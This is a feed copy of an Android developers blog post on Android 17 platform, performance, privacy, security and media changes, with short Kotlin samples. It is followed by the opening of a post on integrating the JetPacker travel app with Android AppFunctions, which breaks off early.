<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]></title>
<description><![CDATA[Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored...]]></description>
<link>https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:27 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi961epgT3N_Za_k2-pCJ30tegn7DM-Umh1LWh7Q4NxhryR5H57JB00zKQcek56ccAvEM95i6wyXWWCZZ7486_Gq1ewxPHtsMY13UVsVTmndAvkOJtHPjUXuZ3XW_yBEFtlOr2ocBFIKr0PCRZhIRs67h6bX6zDKihwcxQs8bGbYTqIp5azuBKcX4PNMMY/s2469/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Meta.png"><p></p><p><i>Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations</i></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s8583/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s1600/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">previous post</a>, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.</p>Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking. 

<p>In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, <a href="https://github.com/android/ai-samples/tree/main/jetpacker">JetPacker</a>, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.</p>

<h2>Designing AI-ready features: making choices that matter for your users</h2>

<p>To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.</p>

<div class="vertical-video-grid">
